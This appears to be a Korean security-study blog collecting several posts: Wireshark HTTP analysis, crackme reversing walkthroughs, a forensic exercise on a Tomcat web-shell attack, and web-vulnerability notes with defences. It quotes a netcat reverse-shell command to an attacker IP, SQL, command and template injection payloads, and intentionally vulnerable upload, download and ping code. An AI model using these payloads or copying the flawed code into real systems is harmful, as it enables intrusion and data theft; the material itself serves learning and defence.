하이퍼텍스트 전송 프로토콜(HTTP, Hypertext Transfer Protocol)

:: 웹 브라우저가 웹 서버에 연결해 웹 페이지를 볼 수 있게 해주는 월드와이드웹 전달 메커니즘이다.

 

 

초기 HTTP GET 요청 패킷

 

HTTP는 TCP를 통해 HTTP 통신을 위한 표준 포트인 서버의 포트 80으로 전달된다. 

HTTP 패킷은 송신기가 수신기에서 수행할 동작을 나타낸다. 

 

이 패킷은 GET 방법, URI를 /download.html로, 요청 버전을 HTTP/1.1로 구분한다.

이는 클라이언트가 HTTP 1.1 버전을 사용해 웹 서버의 download.html 페이지를 다운로드(GET)하라는 요청을 보내는 것이다.

 

그런 다음 호스트는 자신에 대한 정보를 웹 서버에 보낸다.

사용 중인 브라우저(User-Agent), 브라우저에서 사용하는 언어(Accept-Languages)와 쿠키 정보 등이 포함된다.

서버는 이 정보를 사용해 호환성을 보장하기 위해 클라이언트로 보낼 데이터를 판별할 수 있다.

 

클라이언트 브라우저와 웹 서버 간 TCP 전송 데이터

(여기서 클라이언트는 145.254.160.237, 서버는 65.208.228.223 이다)

 

4번 패킷처럼 클라이언트가 HTTP GET 요청을 전송하면

서버는 5번 패킷처럼 TCP ACK로 응답하고 패킷을 확인한 다음 요청된 데이터를 전송하기 시작한다(6번 패킷)

그리고 나서 클라이언트는 응답 패킷을 보내는 것이다(7번 패킷)

 

응답 코드 200인 최종 HTTP 패킷

클라이언트의 성공적 요청에 서버가 200 OK 응답을 보낸다.

패킷에는 타임스탬프와 웹서버의 콘텐츠 및 구성 매개변수 인코딩에 대한 몇 가지 추가 정보가 포함된다. 

클라이언트가 이 패킷을 받으면 트랜잭션이 완료된다.

 

 

 

'Study > NETWORK' 카테고리의 다른 글

Wireshark - HTTP 패킷  (0) 2022.08.23
HTTP 업로드 실패 패킷  (0) 2021.03.31
Wireshark를 통한 네트워크 패킷 분석 ①  (0) 2021.03.12

분석 도구 : Immunity Debugger

 

저번 게시물에 올렸던 CodeEngn 15번 문제와 아주 유사하다

 

2021.03.30 - [Study/Reversing] - CodeEngn Challenge : Basic RCE L15

참고하면 이해하는 데 아주 도움이 될 것이다!!!!!!!

 

이번엔 CUI 모드로 작동하는 듯 싶다.

 

잘못된 password를 입력하면 'Wrong password!' 문자열이 뜨고

해당 exe 파일이 있는 곳에 null 이라는 파일이 생긴다.

 

[Search for] - [All referenced text strings] 를 통해 힌트 구간을 얻어본다.

 

'Good job!' 이 있는 곳을 더블클릭하여

해당 코드가 있는 곳으로 이동한다.

 

 

이번에도 역시 분기문이 보인다. (CMP)

 

EAX 값과 SS 값(EBP-3C 주소 기준 4byte) 를 비교한 후,

두 값이 같지 않으면 

'wrong password!' 문자열이 출력되는 주소로 점프해버린다.

 

따라서 우리는 EAX 값에 어떤 값이 들어가는지EBP-3C에 들어가있는 값을 확인해야 한다.

 

 

4015A2 에 BP를 건 후 실행하였고, password(serial)에는 1234를 입력해 주었다.

EAX에 들어가는 것은 우리가 입력했던 1234(10진수)가 000004D2(16진수)로 바뀐 형태의 값인 것을 알 수 있다.

 

 

EBP-3C에 있는 값은 E4C60D97 이다.

따라서 우리가 원하는 serial 값을 찾을 수 있다.

 

 

 

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Basic RCE L09  (0) 2021.04.07
CodeEngn Challenge : Basic RCE L06  (0) 2021.04.07
CodeEngn Challenge : Basic RCE L15  (0) 2021.03.30
Reversing.kr 1번 풀이  (0) 2021.03.24
main 함수 찾기  (0) 2021.03.23

분석 도구 : Immunity Debbuger

 

문제는 Name이 CodeEngn일 때 Serial을 구하라는 것

 

해당 exe 파일을 실행해보니 실제로 Name과 Serial을 적는 칸이 있다.

 

애초에 문자는 입력할 수 없는 것 같고

 

맞지 않는 Serial 숫자를 적으면 'Try Again !' 이라는 문자열이 뜨는 것 같다.

 

 

디버거에 실행 파일을 올린 후 분석 시작

 

먼저 'Try Again !' 등 문자열이 있는 곳에 문제의 해답이 있을 수 있으므로

[Search for] - [All referenced text strings] 로 실행 파일에 담겨진 모든 문자열을 확인한다.

 

 

crack이 목적이므로

'CRACKED' 가 있는 곳으로 더블클릭하여 이동한다.

 

 

+) CMP Dest, Src

CMP 구문은 두 개의 피연산자를 비교한다.

Destination 피연산자에서 Source 연산자를 묵시적으로 빼서 값을 비교한다.

 

두 피연산자의 값이 같으면 결과는 0이 될 것이고, ZF(Zero Flag)는 1이 된다.

두 값이 다르면 결과는 0이 아닌 값, ZF는 0이 된다.

 

+) 명령어 DWORD PTR DS : [주소값]

DWORD 는 크기(BYTE : 1byte, WORD : 2bytes, DWORD : 4bytes),

PTR 은 기준을 의미한다.

 

즉, '주소값을 기준으로 4byte를 ~명령어~ 한다' 는 의미

 

 

따라서, CMP EAX, DWORD PTR DS:[45B844]의 의미는

EAX 값과 DS 값(45B844 주소 기준 4Byte 값)을 비교해서 

두 값이 같으면 ZF=1, 다르면 ZF=0 이 된다는 것

 

 

+) JNZ (Jump Not Zero) 주소 = JNE (Jump Not Equal) 주소

결과가 0이 아닐 때(ZF=0) 해당 주소로 이동하고,

0이 아닐 때(ZF=1) 바로 다음(아래) 명령어를 실행한다.

 

 

따라서, JNZ SHORT 00458854 의 의미는

위에서 비교했을 때 두 값이 같으면 바로 다음 명령어를 실행(성공 메시지),

두 값이 다르면 00458854(Try Again) 로 점프한다는 것

 

 

분기점 (00458837) 에 BP를 설정하고

두 개중 어떤것에 serial 값이 저장됐는지 확인하면 쉽게 serial 값을 얻을수 있을 것이다.

 

 

serial 값에 1234 를 입력했더니 

EAX 에 000004D2가 저장이 된다.

 

우리가 입력한 1234(10진수) → 4D2(16진수)로 바뀌어 저장된 것 !!!

 

 

CMP 명령어에서 DS 값 (45B844 주소 기준 4Byte)과 비교하므로

45B844 주소로 가서 들어있는 값을 확인하였다.

00006160(16진수)가 저장되어 있다. 

이제 이를 10진수로 변경하면 원하는 serial을 획득할 수 있다!

 

00006160 → ?????

 

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Basic RCE L06  (0) 2021.04.07
CodeEngn Challenge : Basic RCE L16  (0) 2021.03.30
Reversing.kr 1번 풀이  (0) 2021.03.24
main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04

분석 툴 : Immunity Debugger

 

 

 

먼저 exe 파일을 실행해보니 비밀번호를 입력해야 하는 것 같다.

hello 를 입력해보았다.

 

 

[Search for] - [All referenced text strings] 를 이용해 이 프로그램의 모든 스트링을 확인해본다.

 

 

 

정답일 때 나오는 듯한 문자열 "Congratulation !!"이 눈에 띄므로 더블클릭하여 해당 위치로 간다.

 

해당 함수의 시작점으로 가 bp를 걸고 한 줄씩 실행하며 어셈블리어를 쓰윽 분석해본다.

 

보통 CMP 구문에서 비교한 후, JNZ 구문을 실행할 지 말지를 결정하는 경우가 많다.

CMP A B 비교 구문. A와 B가 같은지 판단
(같을 경우 ZE는 1이 되고 다를 경우 ZE는 0이 된다.)
JNZ(Zump if not Zero)  Address 연산 결과가 0이 아니면(ZF=0)이동하고,
0이면 (ZE=1) 다음 명령을 실행

 

CMP 구문에서 [ESP+5] 자리의 값과 61을 비교하고 있다.

 

ESP+5 자리를 가보니 내가 입력한 hello 중에 e 가 자리잡고 있는 것을 확인할 수 있다.

 

즉, 내가 입력한 문자열의 두번째 자리와 61을 비교하여

두 문자가 같을 경우 ZF가 1이 되고, 나머지 경우에는 ZF가 0이 되어

00401135 주소로 갈지(ZF=0) 말지(ZF=1)를 결정한다는 것이다.

 

JNZ문이 실행되면 함수가 종료되어 "Incorrect Password"가 뜨므로 JNZ문이 실행되면 안된다.

 

61을 아스키 값으로 변경하면 a 이다.

따라서 비밀번호의 두번째 자리가 a라는 것을 알게된 셈이다.

 

 

 

이번엔 입력에 hallo 를 입력한 후 실행해본다.

 

JNZ 구문이 실행되지 않고 (ZF=1 이므로) 

밑의 명령어로 넘어온다.

 

 

LEA ECX, ~~[ESP+A] = "ECX에 ESP+A 값을 옮긴다"

 

 

 

ECX 값을 확인해보니

내가 입력했던 세번째 문자열부터 끝까지의 문자열("llo")이 담겨져 있다.

 

 

 

이후 CALL 함수를 실행하면 ZF가 0이 되어 

JNZ 구문에 걸린다.

 

따라서 ■a5y■ 임을 예상한다.

 

 

 

 

 

이제 ha5yllo를 입력한 후 실행을 해보았다.

 

0040606C 값("R3versing")을 ESI로 옮긴 후, 

ESP+10을 EAX에 옮기고 있다.

 

 

[ESP+10] 의 값을 확인하니 내가 입력했던 다섯번째 이후의 문자열("llo")이 보인다.

 

 

그리고 반복문이 나오는데,

반복문을 살펴보니

 

EAX 값과 ESI 값을 각각 DL, BL 레지스터에 넣고

그 둘을 CMP 구문으로 비교하고 있다.

 

즉, llo 와 R3versing을 비교하고 있는 것.

 

따라서 ■a5yR3versing 임을 예상한다.

 

 

다시 ha5yR3versing을 입력한 후 

 

반복문까지 거친 후 

CMP 구문을 또 만났다.

 

[ESP+4] 값과 45를 비교한다.

[ESP+4]에는 내가 입력했던 첫번째 문자열("h")가 있다.

45는 아스키 값으로 "E"이므로

 

 

최종 비밀번호를 유추할 수 있게되었다.

 

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Basic RCE L16  (0) 2021.03.30
CodeEngn Challenge : Basic RCE L15  (0) 2021.03.30
main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25

우리가 Main 함수를 작성할 때, 딱히 정해진 방식이 있는 것은 아니다.

 

- 메인함수 선언 방식

1. int main()
2. int main(void)
3. int main(int argc, char *argv[], char *envp[])

 

main함수 원형은 3번과 같이 인자와 환경변수 전달을 같이 받는다.

 

 

-컴파일 과정에서의 메인 구성

int main(int argc, char *argv[], char *envp[])

사용자가 어떻게 작성하던 간에 컴파일 과정에서는 원형이 지켜지게 된다.

 

즉, main 호출은 인자를 3개 전달한다.

CALL 00401000이 이 실행파일의 main 함수이다.

main 함수를 찾지 못하겠을 때 이와 같은 방법이 조금 도움이 될 수 있겠다.

 

 

 


*참고 : Visual Studio 6.0 에서 작성된 실행파일의 Stub 코드

 

Stub 코드의 흐름을 보고 main() 호출이 어느 지점에서 일어날 지 예측할 수 있다.

 

ex:) main()함수가 GetCommandLineA() 호출보단 뒤에, exit() 호출보단 앞에 있을 것으로 예측하며 

main()함수의 위치를 대략 예상할 수 있다.

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Basic RCE L15  (0) 2021.03.30
Reversing.kr 1번 풀이  (0) 2021.03.24
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25
PE 헤더  (0) 2021.01.24

※ wireshark 실행 환경 : kali-linux-2021.1

 

Statics - Protocol Hiearchy 로 프로토콜 통계 확인

 

 

대부분의 패킷들이 TCP 프로토콜의 SSL, HTTP 를 이용함을 확인

Line-based text data : 웹쉘과 같은 공격에서 공격자들이 웹 페이지에서 정보를 가져올 때 이런 패킷이 사용됨

Media Type : 첨부파일을 통해 어떠한 파일이 올라간 경우에 이런 패킷이 사용됨

 

 

Statics - HTTP - Requests 로 서버로 요청한 정보 확인 (접근했던 도메인 확인 가능)

확인해 보니 192.168.206.133 서버의 8180번 포트로 수상한 패킷이 요청됨을 감지

 

 

Statics - Conversation 로 해당 포트 관련 정보를 확인

공격자의 IP 주소는 192.168.206.152 임을 예상

 

 

Statics - HTTP - Packet Counter 로 패킷 관련 정보 확인

1. GET 방식의 요청이 많음

2. 정상적 페이지에 접근 후 공격했음을 예상(200 OK)

※ 400, 500에러 등이 많이 찍히면 SQL Injection과 같은 공격임을 예상할 수도 있음

 

 

File - Export Objects - HTTP 로 HTTP 객체들을 확인

html 타입의 8180번 포트를 사용한 패킷들을 위주로 확인

/manager/html/upload 이후에 /attack 패킷이 요청되었으므로 upload 패킷부터 살펴보기 시작

 

 

/upload 포함 패킷 - 마우스 오른쪽 - Follow - TCP Stream 으로 패킷 흐름 확인

 

 

save as 로 이를 저장하면 공격자가 요청(접근)한 순서대로 웹 페이지를 볼 수 있음

 

 

대략 이런식

 

 

아까 저장했던 페이지를 자세히 보면, 공격자가 웹쉘을 올린 이후에 입력한 명령어들도 확인이 가능

command = ps+-aux, ls+-al, 

 

 

중간에 /upload 패킷에서 attack.war(웹쉘) 라는 이름을 가진 파일을 POST 방식으로 보낸 것을 확인

 

 

해당 패킷을 다시 확인

 

 

attack.war 파일의 내용물을 확인하기 위해 

Data 영역 - 마우스 오른쪽 - Export Packet Bytes로 파일 저장 후 압축 풀기

 

 

shell.jsp 파일 확인

 

 

attack.war의 md5 해시값은 5E86CA5044BDDEB1CA5F7B5852FDC360

 

 

 

1. 공격에 성공한 공격자 IP는? 192.168.206.152

2. 공격자 이외 서비스에 접근한 IP는?  192.168.206.154

3. 공격자가 시스템에 침투하기 위해 접근한 서비스 포트는? 8180

4. 공격자가 어떤 취약점을 이용한 것인지 서술하시오. apache tomcat 5.5 취약점

5. 공격자가 리버스 공격을 하기 위해 사용한 포트는? 8989

6. 공격자가 올린 웹쉘의 이름과 md5 해시 값은? attack.war

5E86CA5044BDDEB1CA5F7B5852FDC360
7. 공격자가 웹쉘을 올린 뒤에 사용한 명령어를 찾는대로 작성하시오.
ps -aux, ls -al, nc 192.168.206.152 8989 -e /bin/sh, shell.jsp파일 삭제

'Study > NETWORK' 카테고리의 다른 글

Wireshark - HTTP 패킷  (0) 2022.08.23
HTTP 업로드 실패 패킷  (0) 2021.03.31
HTTP 간단 요청 패킷  (0) 2021.03.31

Business Logic 

:: 규칙에 따라 데이터를 생성. 표시. 저장. 변경하는 로직, 알고리즘

ex) 게시판 서비스는 회원 가입/로그인, 게시물 작성/수정/삭제 등 다양한 로직이 모여 하나의 서비스가 완성됨

 

ⓐ Business Logic Vulnerability

- 비즈니스 로직 취약점은 정상적인 비즈니스 로직을 악용하는 것

- 서비스의 기능에서 적용되어야 할 로직이 없거나 잘못 설계된 경우 발생

 

ex) 상품 후기를 작성시 포인트를 주는 이벤트가 있다. 

후기를 작성한 후, 100 포인트를 받았는데

글을 삭제한 후 다시 후기를 작성하니 100 포인트를 또 받을 수 있었다..

 

※ 비즈니스 로직 취약점을 방어하기 위해선?

- 비즈니스 로직을 확실하게 이해하고, 설계 및 개발 단계에서 어떤 위협이 발생할 수 있는지 위협을 파악하고 방어하는 것이 중요하다.

 

 

ⓑ IDOR (Insecure Direct Object Reference) Vulnerability

:: 안전하지 않은 객체 참조

:: 발생하는 주된 원인 : 사용자의 입력 데이터에 의해 참조하는 객체가 변하는 기능에서 사용자가 참조하고자 하는 객체에 대한 권한 검증이 올바르지 않아서

 

ex) 금액을 조회하고 송금할 수 있는 페이지에서 

사용자가 자신의 계좌번호를 다른 사용자의 것으로 바꿀 때 서버가 이를 검증하지 않는다면 조회, 송금이 가능하다.

 

※ IDOR 취약점을 방어하기 위해선?

- 사용자의 권한을 검증하는게 가장 중요

즉, 사용자가 의도한 권한을 벗어나서 행동할 수 없도록 권한 등을 분리해서 관리해야 한다.

 

- 사용자 인증을 거친 후 사용하는 서비스에서는 사용자가 요청 시 전달하는 세션을 통해 서버 내에서 처리하는 것이 안전

 

- 객체 참조 키를 단순한 숫자가 아닌 무작위 문자 생성 등을 통해 악의적 공격자가 이를 추측하기 어렵게 하는 방법도 있다.

 

 

 

ⓒ Race Condition

:: 공유 자원 처리 과정에서 해당 자원에 대한 동시 다발적인 접근으로 인해 발생하는 취약점

 

- 데이터베이스 또는 파일 시스템과 같이 웹 어플리케이션에서 공유하는 자원들에 대한 접근 과정에서 데이터를 참조하는 타이밍의 차이로 인해 취약점이 발생한다.

- 주로 검증 과정에서의 데이터와 수정 과정의 데이터의 차이로 인해 웹 어플리케이션에서 의도하지 않은 흐름으로 진행한다.

- 비즈니스 로직의 잘못된 순서로 인해 발생하기도 한다.

 

ex) 사용자의 잔액 확인 과정과 차감하는 과정 사이, 재고 확인 과정에서 시간 지연이 발생하며, 

잔액 확인 과정 이후에 잔액이 차감된다는 점을 이용하여 현재 잔액보다 더 많은 금액의 상품을 구매할 수 있다.

 

※ 레이스 컨디션 취약점을 방어하기 위해선?

- 하나의 접근이 끝난 후 다음 접근을 처리하도록 하는 쓰레드 락 등을 통해 동시 다발적 접근을 방지해야 한다.

- CSRF 토큰, 캡차 등을 통해 다량의 접근을 방지하는 방법도 있다.

File Vulnerability 

:: 파일을 업로드/다운로드 하는 기능에서 발생할 수 있는 취약점

 

ⓐ File Upload

:: 파일 업로드 기능은 사용자의 파일이 서버의 파일 시스템에 저장되어 처리된다는 이유로 인해 취약점이 발생할 수 있다.

이때 서버가 아무런 검증이 없다면 서버의 파일 시스템에 원하는 파일을 저장할 수 있다.

 

+) 웹 서버의 CGI(Common Gateway Interface) : 사용자의 요청을 받은 서버가 동적인 페이지를 구성하기 위해 엔진에 요청을 보내고 엔진이 처리한 결과를 서버에게 반환하는 기능

ex) Apache 웹 서버, php 웹 어플리케이션 사용하는 서버에 사용자가 요청을 보내면

Apache는 사용자의 요청을 해석하고,

사용자가 요청하는 리소스의 확장자가 .php와 같이 php 엔진을 사용하기로 설정되어 있는 확장자라면

mod_php(CGI)를 통해 사용자의 요청을 php 엔진이 처리 및 실행하도록 요청한다.

 

 

웹 서비스가 동작하는 경로에 사용자가 원하는 파일 내용과 파일 명을 업로드할 수 있다면

서버가 엔진에 요청하는 확장자를 업로드하여 서버의 웹 어플리케이션에 원하는 코드를 실행할 수 있다.

 

웹 어플리케이션이 실행하는 코드를 악의적 공격자가 조작할 수 있다면

웹 어플리케이션 언어에 내장된 OS 명령어 등을 사용할 수 있으며, 해당 서버의 쉘을 웹을 통해 사용한다고 하여

WebShell(웹쉘)이라는 악성코드가 등장하게 되었다.

 

<?php
if(!empty($_FILES['file'])){
  $filename = generateRandomString(); // custom function
  $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
  $path = "./uploads/" . $filename . "." . $ext;
  if(move_uploaded_file($_FILES['file']['tmp_name'], $path)) {
    return true; // upload success
  } else {
    return false; // upload fail
  }
}
?>

이러한 코드를 가지는 업로드 페이지가 있다면,

php 파일을 업로드하여 php를 실행시키거나 html 파일 등을 업로드하여 Stored XSS 취약점을 발생시킬 수 있다.

 

 

이런식으로 .php, .php3/4/5/7, .pht, .phtml 등의 파일 확장자를 업로드하여 php 엔진이 처리하도록 유도할 수 있다.

 

 

 

ⓑ File Download

파일 다운로드 기능을 구현할 때 발생하는 취약점의 형태는 사용자가 입력한 파일이름을 검증하지 않은 채 그대로 다운로드를 제공하는 형태이다.

 

...
@app.route("/download")
def download():
    filename = request.args.get("filename", "")
    return open("uploads/" + filename, "rb").read()
...

위와 같은 코드를 가지는 다운로드 페이지가 있다고 하면

Path Traversal과 같은 Injection 공격을 통해 uploads 경로보다 더 상위 경로에 존재하는 시스템 파일, 설정 파일과 같은 중요한 정보들을 다운로드 할 수 있다.

 

※파일 다운로드 취약점을 막기 위해선?

- 기본적으로 인자에 다운로드 받으려는 파일의 경로나 이름을 넘기지 않은 것이 좋다.

- 반드시 이름을 넘기는 방식으로 구현해야 한다면 상대경로로 접근하는데 사용될 수 있는 ../를 적절하게 필터링 해야한다.

- 또 다른 방법으로, 데이터베이스에 다운로드 될 파일의 경로와 그에 해당하는 랜덤키를 생성해 1대 1로 매칭해서 저장해두고 해당 랜던 값이 인자로 넘어왔을 때 데이터베이스에 존재하는 파일인지를 먼저 식별하고 다운로드 하는 방법이 있다.

Injection"주입". 변조된 입력을 주입해 의도하지 않은 행위를 발생시킴

 

ⓐ SQL Injection : SQL 문 사용 시 공격자의 입력 값이 정상적인 요청에 영향을 주는 취약점

ⓑ Command Injection : OS Command 사용 시 사용자의 입력 데이터에 의해 실행되는 Command를 변조 할 수 있는 취약점

ⓒ Server Side Template Injection(SSTI) : 템플릿 변환 도중 사용자의 입력 데이터가 템플릿으로 사용돼 발생하는 취약점

ⓓ Path Traversal : URL / File Path를 사용 시 사용자의 입력 데이터에 의해 임의의 경로에 접근하는 취약점

ⓔ Server Side Request Forgery(SSRF) : 공격자가 서버에서 변조된 요청을 보낼 수 있는 취약점

 

 

 

ⓐ-1 SQL Injection 

웹 어플리케이션에서 로그인/검색과 같이 사용자의 입력 데이터를 기반으로 DBMS에 저장된 정보를 조회하는 기능 등을 구현하기 위해 SQL 쿼리에 사용자의 입력 데이터를 추가하여 DBMS에 요청하는데, 그 과정에서 사용자의 입력이 SQL 쿼리에 삽입되어 SQL 구문으로 해석되거나 문법적으로 조작하게 되면 개발자가 의도하지 않은 임의의 쿼리가 실행될 수 있다.

 

즉, SQL 쿼리에 사용자의 입력 값이 삽입돼 사용자가 원하는 쿼리를 실행할 수 있는 취약점이다. 

 

대표적인 예시로, 로그인 시

SELECT * FROM users WHERE uid = '{uid}' and upw='{upw}'; 라는 쿼리가 실행될 때

 

'를 기준으로 문자열을 구분하고 있다는 점을 집중해서 보자.

만약 사용자가 입력에 ' 문자를 포함해 해당 문자열을 탈출하고 뒷 부분에 새로운 쿼리를 작성하여 전달하면 DBMS는 사용자가 직접 작성한 쿼리를 실행시키는 것이다.

 

'{uid}'admin을 , '{upw}'1'or'1 을 작성한다면, or 연산을 이용해 참의 조건이 만족되므로 admin의 데이터에 접근이 가능하게 된다.

+ (or 연산은 A or B와 같은 구조일 경우 A와 B 중 하나라도 참(True)인 경우 결과는 참이된다.)

 

ⓐ-2 SQL Injection 방어

SQL Injection을 막기 위해 권장하는 방법

:: ORM(Object Relational Mapper의 약자로써 SQL의 쿼리 작성을 돕기위한 라이브러리)과 같이 검증된 SQL 라이브러리 사용

 

이를 통해 개발자가 직접 쿼리를 작성하는 Raw 쿼리를 사용하지 않아도 기능 구현이 가능하여, SQL Injection으로부터 상대적으로 안전하다.

ORM은 생산성을 위해서도 사용하지만 사용자의 입력 값을 라이브러리 단에서 스스로 escape하고 쿼리에 매핑시키기 때문에 안전하게 SQL 쿼리를 실행한다.

 

 

ⓑ-1 Command Injection 

:: OS Command는 linux (ls, pwd, ping, zip..), windows (dir, pwd, ping..) 등의 OS에서 사용하는 명령어

:: 이러한 명령어를 실행하기 위해 PHP, NodeJS, Python과 같은 함수들이 존재한다.

 

OS Command는 내부적으로 셸(Shell)을 이용해 실행하는데, 셸은 사용자 편의성을 위해 한 줄에 여러 명령어를 실행하는 특수 문자가 여럿 존재한다.

따라서 이를 사용할 때 사용자의 입력 값을 검증하지 않고 함수의 인자로 전달한다면?

여러 특수 문자를 이용해 사용자가 원하는 명령어를 함께 실행할 수 있다.

` ` 명령어 치환 `` 안에 들어있는 명령어를 실행한 결과로 치환된다.
$( ) 명령어 치환 $( ) 안에 들어있는 명령어를 실행한 결과로 치환. 중복 가능
&& 명령어 연속 실행 한 줄에 여러 명령어를 사용하고 싶을 때.
앞 명령어에서 에러가 발생하지 않아야 뒷 명령어 실행 가능
|| 명령어 연속 실행 한 줄에 여러 명령어를 사용하고 싶을 때.
앞 명령어에서 에러가 발생해야 뒷 명령어 실행 가능
명령어 구분자 한 줄에 여러 명령어를 사용하고 싶을 때.
단순 구분자. 앞 명령어의 에러 유무 상관없이 뒷 명령어도 실행
| 파이프 앞 명령어의 결과가 뒷 명령어의 입력으로 들어감
ex) $echo id | /bin/sh

 

예를 들어, 사용자가 입력한 주소로 ping 명령어를 실행하는 코드가 있다고 가정해보자.

@app.route('/ping')
def ping():
	ip = request.args.get('ip')
	return os.system(f'ping -c 3 {ip}')

콘솔 환경에서 

ping -c 3 1.1.1.1; id 혹은 ping -c 3 1 && id 이런식으로 입력하게 되면 id 명령어도 실행이 된다.

 

 

ⓑ-2 Command Injection 방어

:: 사용자의 입력 데이터가 Command인자가 아닌 다른 값으로 해석되는 것을 방지해야 한다.

:: OS Command를 사용할 경우 해당 Command 내부에서 다른 취약점이 발생하는 등 잠재적 위협이 될 수 있으므로 OS Command를 되도록이면 사용하지 않는 것이 가장 좋은 방법이다.

 

그럼에도 불구하고 이를 사용해야 한다면, 필터링 과정을 거쳐야 한다.

 

→ 정규식을 통한 화이트리스트방식 필터링

#사용자가 입력한 IP가 정상적인 IP 형식인지 검증

import re, os, ...
...
chk_ip = re.compile('^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$')
if bool(chk_ip.match(ip)):
    return run_system(f'ping -c 3 {ip}')
else:
    return 'ip format error'

→ OS Command에서 Meta 문자로 사용되는 값을 필터링 하고 따옴표로 감싸기

if '\'' in ip:
    return 'not allowed character'
return run_system(f'ping -c 3 \'{ip}\'')

→ execve args 인자로 사용

#shell meta 문자로 해석되지 않도록 입력 값을 넣음
subprocess.Popen(['ping', '-c', '3', ip]) # B

기능에 해당하는 라이브러리 사용

# 사용하고자하는 기능을 OS 커맨드가 아닌 구현한 라이브러리로 대체 사용
#! pip install ping3 
# https://github.com/kyan001/ping3/blob/master/ping3.py
import ping3
ping3.ping(ip)

 

ⓒ Server Side Templete Injection(SSTI)

:: 웹 어플리케이션에서 동적인 내용을 HTML로 출력할 때 미리 정의한 templete에 동적인 값을 넣어 출력하는 Templete Engine을 사용할 때 발생하는 취약점

※ 따라서, 사용자가 입력한 데이터가 templete에 직접 사용될 경우 templete Engine이 이를 해석하여 실행하는 과정에서 예상치 못한 공격을 당할 수 있다.

 

- 대부분의 Templete Engine은 {{user.uid}}, ${user.uid}와 같은 문법을 지원한다.

더보기

<각 언어별 많이 사용되는 Templete Engine>

Python : Jinja2, Mako, Tornado..

PHP : Smarty, Twig..

JavaScript : Pug, Marko, EJS... 

...
class Secret(object):
    def __init__(self, username, password):
        self.username = username
        self.password = password
secret = Secret('admin', secret_password)
...
@app.route('/board')
def board():
    title = request.form['title']
    content = request.form['content']
    template = '''<html>
    <body>
        <h3 id="title">{{title}}</h3>
        <h3 id="content">%s</h3>
    </body>
</html>''' % content
    return render_template_string(template, title=title, secret=secret)

사용자가 페이지에서 content 부분을 입력하면 %s 바로 저 부분에 들어가게 되는데,

이때 {{secret.password}} 와 같은 문자열을 입력하여 templete Engine이 해석하는 {{Data}} 형태를 이용, 공격에 사용할 수 있다.

 

 

ⓓ Path Traversal

:: 사용자의 입력 데이터가 적절한 검증 없이 URL/File Path에 직접적으로 사용될 경우 설계 및 개발 당시에 의도하지 않은 임의의 경로에 접근할 수 있는 취약점이 발생

 

- URL 필터링 또는 인코딩이 부재하면 ../ 와 같은 구분 문자를 통해 의도한 경로가 아닌 상위 경로에 접근해 다른 API를 호출할 수 있다.

 

/ 경로 구분자
..  부모 디렉토리
? 쿼리 구분자 (? 뒤는 query로 해석됨)
# 프래그먼트 구분자 (# 뒤는 Server로 전달되지 않음)
& 파라미터 구분자 (여러 정보를 함께 전달할 때 사용)

 

 

ⓔ Server-side Request Forgery(SSRF)

URL을 통해 사용자가 입력한 사진을 업로드하는 기능을 구현하면 사용자가 입력한 URL을 웹 어플리케이션에서 접근해야 하는 경우처럼, 웹 어플리케이션에서 사용자가 입력한 URL에 요청을 보내는 기능이 구현되어야 하는 경우가 있다.

 

:: SSRF는 웹 어플리케이션에서 요청을 보내는 것

(웹 어플리케이션이 작동하고 있는 서버 내부의 포트, 서버와 연결된 내부망에 요청을 보냄)

 

:: Server-side에서 변조된 요청/의도하지 않은 서버로 요청을 보내는 공격

 

- 웹 인프라를 구성할 시 외부망/내부망을 나누어 설계하고 "내부망에서는 인증된 서버/사용자만이 요청을 보낼 수 있다"고 가정해 별도의 인증 없이 기능을 구현하는 경우가 많다.

- 클라우드 플랫폼들에서도 내부망에서 작동하는 기능들이 있어 SSRF 공격의 대상이 될 수 있다.

 

※ 취약점 방지를 위해선?

- URL HOST 화이트리스트 방식 필터링 : 미리 신뢰할 수 있는 Domain Name, IP Address 등을 리스트에 등록하고 사용자가 입력한 URL에서 HOST 부분을 파싱해 화이트리스트에 있는지 확인하여 사용

 

<SSRF 예시>

이미지 URL을 입력받아 Externel Server에서 Internal Server로 접근하는 예시

 URL 주소 입력 부분에 HOST를 127.0.0.1로, 그리고 외부 서버의 코드를 확인하여 코드 속의 config 함수를 활용하면

이런 식으로 내부 서버로 들어갈 수 있는 URL을 얻을 수 있다. 

내부 서버로 들어간 후, 코드를 확인해 여러 함수를 악용하면 특정한 사용자의 권한을 높인다던지 등의 악위적 행위를 할 수 있게 된다.

 

SSRF 공격에 대한 자세한 설명은 여기에서..

https://medium.com/naver-cloud-platform/ssrf-%EA%B3%B5%EA%B2%A9%EC%9D%98-%ED%94%BC%ED%95%B4-%EC%82%AC%EB%A1%80%EC%99%80-%EB%8C%80%EC%9D%91-1-d0be4b12d10a

'WEB > WEB Hacking' 카테고리의 다른 글

Server - side Vulnerability ③ Business Logic  (0) 2021.03.09
Server - side Vulnerability ② File  (0) 2021.03.09
Server - side Vulnerability  (0) 2021.03.06
Dreamhack | 워게임 | <csrf-1> 문제  (0) 2021.01.26
Client-side Attack  (0) 2021.01.25

'웹 서비스를 제공하는 서버'를 대상으로 공격할 때 발생하는 웹 취약점

 

:: 주 목적 = 서버 내에 존재하는 사용자들의 정보 탈취, 서버 권한 획득

:: 종류

1. Injection(인젝션) - 서버의 처리 과정 중 사용자가 입력한 데이터가 처리 과정의 구조나 문법으로 사용되어 발생

2. File vulnerability - 서버의 파일 시스템에 사용자가 원하는 행위를 할 때 발생

3. Business Logic Vulnerability - 정상적인 흐름을 악용할 때 발생

4. Language specific Vulnerability(PHP, Python, NodeJS 등) - 언어의 특성으로 인해 발생

5. Misconfiguration - 잘못된 설정으로 인해 발생

'WEB > WEB Hacking' 카테고리의 다른 글

Server - side Vulnerability ② File  (0) 2021.03.09
Server - side Vulnerability ① Injection  (0) 2021.03.08
Dreamhack | 워게임 | <csrf-1> 문제  (0) 2021.01.26
